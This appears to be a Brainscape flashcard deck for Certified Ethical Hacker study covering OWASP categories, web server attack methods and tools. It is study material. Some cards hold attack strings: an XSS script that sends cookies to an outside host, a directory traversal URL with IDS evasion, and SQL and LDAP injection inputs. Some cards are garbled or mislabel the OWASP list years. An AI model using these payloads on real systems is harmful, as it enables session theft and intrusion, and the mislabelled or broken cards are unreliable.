Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

Certified Ethical Hacker > Web-based Hacking: Servers and Applications > Flashcards

Web-based Hacking: Servers and Applications Flashcards

1
Q

Web Organizations

A

Internet Engineering Task Force (IETF) - creates engineering documents to help make the Internet work better from an engineering point of view. The IETF’s official documents are published as RFCs
World Wide Web Consortium - international community of member organizations who work together to develop web standards

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Request for Comment (RFC)

A

IETF document to set an Internet standard

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Open Web Application Security Project (OWASP)

A

A non profit focused on improving the security of software

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

OWASP Top 10

A

Represents a broad consensus on the top 10 most critical web application security flaws

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

OWASP Top 10 for 2018

A 
A1. Injection Flaws (SQL, OS and LDAP)
A2. Broken authentication and session management
A3. Sensitive data exposure
A4. XML External Entities
A5. Broken Access Control
A6. Security mis-configuration
A7. Cross-Site Scripting (XSS)
A8. Insecure Deserialization
A9, Using components with known vulnerabilities
A10. Insufficient logging and monitoring
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

OWASP - Injection Flaws

A

Injections can be – SQL queries, PHP queries, LDAP queries and OS commands. Wherever a user input is required or use can modify data. It can be a text box, username/password field, feedback fields, comment field, URL etc. Mitigate with Input sanitation: Implement white listing approach at server side for what all can be accepted. Use of safe API’s and parametrized queries.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

OWASP - Broken authentication

A

When an application mismanages session related information such that the user’s identity gets compromised. The information can be in the form of session cookies, passwords, secret keys etc.”
The aim here is to either get into someone else’s session or use a session which has been ended by the user or steal session related information.
Examples:
1. Press the back button after logout to see if you can get into the previous session.
2. Try to hit the URL directly after logging out to check if you are able to access that page.
3. Check for the presence of session-related information in the URLs. Try manipulating them to check if you are able to ride someone else’s session.
4. Try finding the credentials in the source code. Right click on the page and hit view source. Sometimes coders hard code the credentials for easy access which sometimes remain there unidentified.
Mitigate with:
1. Use of multifactor authentication
2. Session isolation
3. Idle session timeouts
4. Using secured cookies

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

OWASP -Sensitive Data Exposure

A

“Attackers can sniff or modify the sensitive data if not handled securely by the application. A few examples include use of weak encryption keys, use of weak TLS.”
The goal is to identify sensitive data bits and exploit them. Not protecting data like credit cards, tax ids, and authentication credentials.
Mitigation:
1. Encrypt all data in transit and at rest.
2. Use secure protocols and algorithms.
3. Disable caching of responses with sensitive data. Hackers might get the cached copies and steal the information from them.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

OWASP - XML External Entities (XXE)

A

“An application is vulnerable to XXE attacks if it enabled users to upload a malicious XML which further exploits the vulnerable code and/or dependencies.” This can be used to execute code, steal data and perform other malicious tasks. This includes extracting data, executing a remote request, scanning internal systems, performing denial of service.
Mitigation:
1. Avoid serialization of sensitive data
2. Implement white listing approach at server side to prevent malicious XML upload.
3. Use of Web Application Firewall (WAF) to detect and block XXE.
4. Code review

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

OWASP - Broken Access control

A

“Broken access control occurs if a user is able to access unauthorized resources, this can be access to restricted pages, database, directories etc.”
Applications have various account types depending on the users: admins, operators and reporting groups etc. One common problem is that the developers restrict the privileges just on the UI side and not on the server side. If exploited, each user can have admin rights.
Access control detection is not typically amenable to automated static or dynamic testing. Manual testing is the best way to detect missing or ineffective access control, including HTTP method (GET vs PUT).
Mitigation:
1. Invalidate tokens and cookies after logout.
2. Force login/logout after a password change.
3. Server side resource restriction e.g. directories.
4. Restrict access to all resources basis roles.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

OWASP - Security misconfigurations

A

Developers and IT staff ensure functionality and not the security. The configurations are done on the application server, DB server, proxy, applications and other devices need to be in line with the security requirements. Most of the security requirements get missed unless identified by experts or hackers.
Examples of these security misconfigurations are weak passwords, default passwords, default scripts stored on the servers, default directories, default error messages etc.
Mitigation:
1. Have a hardening process in place for both hardware and applications. Do ensure that defaults are changed.
2. Install only the required features from a framework.
3. Review the security of the configurations at fixed intervals.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

OWASP - Cross Site Scripting (XSS)

A

Cross-site scripting occurs when an attacker is able to insert untrusted data/scripts into a web page. The data/scripts inserted by the attackers get executed in the browser can steal users data, deface websites etc.
XSS is of 3 types:
1. Reflected
2. Stored
3. DOM-based
XSS allows attackers to execute scripts in the victim’s browser, hijack user sessions, deface websites, or redirect users to malicious sites.
Mitigation:
1. Output encoding and escaping untrusted characters.
2. Enabling Content-Security-policy (CSP)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

OWASP - Insecure Deserialization

A

Some of the applications save data on the client side and they may be using object serialization. Applications which rely on the client to maintain state may allow tampering of serialized data. This is a new entry in the list and is difficult to exploit.
Example: Altering the serialized objects in the cookies for privilege escalation.

X: x :{ z: z:”NAME”: r:”USER”} –» Normal cookie
X: x :{ z: z:”NAME”: r:”ADMIN”} –» Altered cookie object
Mitigation:
Encryption of the serialized data.
Deserializers to run with least privilege
One of the most serious attacks possible.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

OWASP - Using Components with known vulnerabilities

A 
If any components with known vulnerabilities are used by the application, this may lead to security breaches or server takeover. The components can be coding frameworks, libraries, vulnerable functions, network frameworks etc.
Examples:
1. Use of vulnerable PHP version
2. Out-dated kernel version – Linux
3. Unpatched windows. 
4. Vulnerable jQuery version
Mitigation:
1. Frequent patching process.
2. Subscribe to various forums which share the latest vulnerabilities along with the CVE numbers and mitigation techniques/fixes. Check if the vulnerability affects the devices/software in your inventory and fix them.
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

OWASP - Insufficient logging and monitoring

A

To ensure the malicious intent of the attackers gets noticed beforehand, it is essential to log all the activity and monitor it for any suspicious behavior.
Examples:
1. Too many failed login attempts from a particular source.
2. Too many requests from a particular source at an extremely fast/slow/fixed rate could be a DOS attempt. DO check and act.
3. Junk traffic
4. Spikes in traffic pattern when not expected.
Mitigation:
1. 24 x 7 monitoring of application traffic and log analysis.
2. Effective Security Incident and response procedures to be in place and practice.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

2017 OWASP Top 10

A

A1. Injection Flaws (SQL, OS and LDAP)
A2. Broken authentication and session management
A3. Cross-Site Scripting (XSS)
A4. Insecure Direct Object References
A5. Security misconfiguration
A6. Sensitive data exposure
A7. Missing Function Level Access Control
A8. Cross Site Request Forgery
A9, Using components with known vulnerabilities
A10. Unvalidated redirects and forwards

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Webgoat

A

OWASP unsecure website for demonstrating web vulnerabilities

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

Six different stages in web server attack methodology

A
  1. Information gathering
  2. Web server footprinting
  3. Website mirroring
  4. Vulnerability scanning
  5. Session hijacking
  6. Web server password cracking
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

Website information gathering and footprinting tools

A

Netcraft,
HTTPRecon,
IDServe,
HTTPrint

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

nmap –script http-trace -p80 localhost

A

Detects a vulnerable server that uses the TRACE method

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

nmap –script http-google-email

A

Lists email accounts

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

nmap –script hostmap-*

A

Discovers virtual hosts on an IP address that you are attempting to footprint

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

nmap –script http-enum -p80

A

Enumerates common web application

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

nmap -p80 –script http-robots.txt

A

Grabs the robots.txt

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

Website Mirroring Tools

A 
wget, 
blackwidow, 
httrack, 
webcopier pro, 
webripper, 
surfoffline
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

Three tiered web application also known as N-Tier architecture

A

Each tier consists of a single role. Frontend web server, middle layer application server, and a backend database server

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

Web server vendors

A

Microsoft IIS, Apache, NGINX

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

NGINX

A

A free open source, high performance HTTP server and reverse proxy, as well as an IMAP/POP3 proxy server. Uses predictable amounts of memory under load.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

Web Server Security vulnerabilities

A

Most common are related to misconfiguration of settings, including error messages, default passwords, SSL certificates, scripts, remote admin functions, configuration files, and services on the machine.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
30
Q

Debug Settings

A

If left enabled on a web server, it will provide attackers information useful in their attack.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
31
Q

Apache httpd.conf

A

Controls aspects including who can view the server status page which contains information on the server, hosts connected, and requests being attended to. The php.ini file has the verbose error message settings.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
32
Q

Common HTML tags

A

<img></img>

33
Q

HTML entities

A

An HTML entity is a way of telling the browser to display those characters it would otherwise look at as a tag as part of the programming itself. For example, the < symbol which normally indicates the start of a tag can be represented as its actual symbol using HTML entity <

34
Q

HTTP request methods

A

GET, HEAD, POST, PUT, DELETE, TRACE and CONNECT

35
Q

HTTP Response messages

A

1xx: Informational
2. xx: Success
3xx: Redirection
4xx: Client error
5xx: Server error

36
Q

Web server attacks

A 
Password attacks, 
denial of service, 
man in the middle, 
DNS poisoning (hijacking), 
phishing
37
Q

DNS amplification attack

A

An attack manipulating recursive DNS to DOS a target.

38
Q

Directory traversal attack

A

An unvalidated input attack. The hacker attempts to access restricted directories and execute commands outside intended web server directories. Also known as a dot-dot-slash attack, directory climbing, and backtracking. Example: http://www.example.com/.././../../etc/paswd
Since many IDs devices look for this attack, you can try to evade the IDS by using unicode strings. For example, %2e%2e%2f is the unicode equivalent of ../

39
Q

URL tampering

A

Manipulating parameters within the URL string in hopes of modifying data such as permissions and elevation of privileges, prices, quantities of goods and credentials. The trick is to look at the URL and find parameters you can adjust and re-send.

40
Q

Manipulation of page source code

A

Looking for hidden attributes in the source code of a web page

41
Q

Web cache poisoning

A

To carry out this attack, the attacker must find a vulnerable service code allowing him to fill the HTTP header field with multiple headers. He then forces the cache server to flush its actual cache content and sends a specially crafted request designed to be stored in cache. He then sends a second request forcing the response to come from the cache.

42
Q

Connection String Parameter Pollution (CSPP) attack

A

An injection attack that takes advantage of web applications that communicate with databases by using semicolons to separate each parameter. Can be ued to steal user identities and hijack web credentials.

43
Q

Web Defacement Attack

A

Altering the look and content of a webpage to inject embarrassing or deceptive information

44
Q

Web Server Attack tools

A

Brutus (brute force passwords over HTTP), THC-Hydra (network logon cracker), Metasploit (attack passwords over Telnet, SSH and HTTP)

45
Q

Metasploit Module Actions

A 
1, Select the exploits you want to use
2, Configure the various options within the exploit
3. Select a target
4. Select the payload
5. Launch the exploit
46
Q

Metasploit Components

A

MODULES
EXPLOITS
PAYLOADS (combines the arbitrary code executed if an exploit is successful
AUXILIARY - run one-off actions like a scan
NOPS - used for buffer overflow attacks
REX - library used to handle sockets, protocols and text transformations

47
Q

Shellshock, also known as Bashdoor

A

Many internet facing services and some web servers use Bash to process certain requests. Shellshock causes Bash to unintentionally execute commands when the commands are concatenated to the end of function definitions stored in the values of environment variables (usually via CGI).

48
Q

Identify Web Entry Points

A

Examine cookies, headers, POST data, encoding and encryption measures,URLs, error messages, session tokens. Tools to identify entry points: WebScarab, HTTPrint, BurpSuite

49
Q

Web 2,0 vs Web 1,0

A

Web 1.0 relies on static web pages whereas Web 2.0 provide for more dynamic user participation and therefore suffers more attacks.

50
Q

Web Server file injection attack

A

The attacker injects a pointer in a web form to an exploit hosted on a remote site

51
Q

Web Server command injection attack

A

The attacker injects commands into the form fields instead of the expected test entry

52
Q

Web Server shell injection attack

A

The attacker attempts to gain shell access using Java or other functions

53
Q

LDAP injection

A

An attack that exploits applications that construct LDAP statements based on user input. It exploits nonvalidated web input that the form field passes directly as a LDAP query. For example adding the (&) characters between two LDAP query parameters causes the first part of the query to be processed and the second to be ignored because the (&) ends the query prematurely. Example: (&(User=James) (Password=MyPass)) can be changed to (&(User=James) (&) (Password=Anything) and any password will be accepted.

54
Q

Simple Object Access Protocol (SOAP) Injection

A

SOAP is designed to exchange structured information in web services in computer networks and uses XML to format information. You can inject malicious query strings that may allow you to bypass authentication and access databases behind the scenes. SOAP is compatible with HTTP and SMTP.

55
Q

Buffer Overflow Attacks are also known as

A

Smashing the stack

56
Q

Buffer Overflow Attack

A

An attempt to write more data into an application’s prebuilt buffer area in order to overwrite adjacent memory, execute code, or crash an application or system.

57
Q

NOP sled

A

In computer security, a NOP slide, NOP sled or NOP ramp is a sequence of NOP instructions meant to “slide” the CPU’s instruction execution flow to its final, desired destination whenever the program branches to a memory address anywhere on the slide.

58
Q

Canaries or Canary Word

A

In buffer overflows, canaries are known values placed between the buffer and control data so that if a buffer overflows, the canary word will be altered first, triggering a halt to the system. StackGuard makes uses of this for protection.

59
Q

Cross Site Scripting (XSS)

A

Injecting malicious script as unvalidated input, causing the web server to process the malicious script.

60
Q

XSS URL example

A

http://IPADDRESS/”;!–”=&[()] - instead of the URL passing to an existing page/element internally, it passes to the script behind the forward slash

61
Q

XSS Document Cookie example

A

Adding the following to a form entry: &1t;script;window.open(“http://somehwere.com/getcookie.acookie=” + document.cookie#41;</script> - this java script will obtain cookies from users accessing the page

62
Q

Stored XSS or persistent ot Type-I XSS

A

Injected script that remains permanently on the target server like in a database, message forum, visitor log or comment field.

63
Q

Cross Site Forgery Request (CSRF)

A

Attack that forces a user to execute unwanted actions on a web application in which they are currently authenticated. Example: You send an email with a web link to your teacher that changes your school grade on the grades application the teacher is already authenticated to.

64
Q

Session Fixation Attack

A

Similar to CSRF. The attacker logs into a legitimate site and pulls a session ID and then sends an email with a link containing the session ID to a victim. When the victim clicks the email and logs into the same site, the hacker can now log in and run with the user’s credentials. Mitigated by the web server sending random challenge tokens.

65
Q

Cookie

A

A small text-based file stored on your system for use by the web server the next time you log on. Contains information such as authentication details, site preferences, shopping cart contents and session details. Cookies are sent in the header of an HTTP response from a web server and may or may no have an expiration date. Cookies can be manipulated to use as spyware, change pricing, and authenticate to a server.

66
Q

Firefox Cookie Editor

A

Add on that can be used to tamper with a saved cookie.

67
Q

SQL Injection

A

The most common and successful injection attack. Based on manipulation of Structured Query Language (SQL) queries. This can occur when an attacker injects SQL queries directly into an input form. The SQL command bypasses the intent of the front end and executes directly on the SQL database.

68
Q

SQL Data Handling

A
  1. SQL Definition (DDL)
  2. SQL Manipulation (DML)
  3. SQL Control (DCL) - most SQL injection falls here
69
Q

SQL injection attempts

A

Try a single quote ‘
Try ‘ or 1 = 1–
Try admin ‘– or admin ‘ /*
Try (‘1’=’1- -

70
Q

Fuzz Testing

A

Inputting random data into a web form to see what happens.

71
Q

In-band SQL Injection

A

The attacker uses the same communication channel to perform and retrieve the results of the attack. Most commonly used. You can use the UNION command to join together SELECT queries. Piggybacking is adding a malicious request on the back of a legitimate one.

72
Q

Tautology

A

Describes the behavior of a database system when deciding whether a statement is true. If you can trick the database by providing something that is true.

73
Q

Out-of-band SQL Injection

A

Uses different communications channels for the attack and the results. Difficult to pull off. Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls.

74
Q

Blind/Inferential SQL Injection

A

Occurs when an attacker knows that the database is susceptible to injection but the error messages and screen returns don’t come back to the attacker. This attack takes time to pull off because of trial and error.

75
Q

Automated SQL injection scanners

A 
Sqlmap, 
Sqlninja, 
Havij (enumeration, code execution, file system manipulation),
SQL Brute, 
Pangolin, 
SQLExec, 
Absinthe, 
BobCat
76
Q

Snort detection of SQL injection

A

Snort has signatures for prebuilt SQL rules that can help to detect a SQL injection attack

77
Q

HTTP response splitting

A

Is a form of web application vulnerability, resulting from the failure of the application or its environment to properly sanitize input values. It can be used to perform cross-site scripting attacks, cross-user defacement, web cache poisoning, and similar exploits. HTTP response splitting is a means to an end, not an end in itself. At its root, the attack is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header. To mount a successful exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header AND the underlying platform must be vulnerable to the injection of such characters. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allow them to create additional responses entirely under their control.

78
Q

Mitigation of Web Server Attacks

A

Separate your front end and back end server by a DMZ
Keep up with security patches
Turn off unnecessary services
Set appropriate file and directory permissions
Disable directory listing

Certified Ethical Hacker (13 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2024 Bold Learning Solutions. Terms and Conditions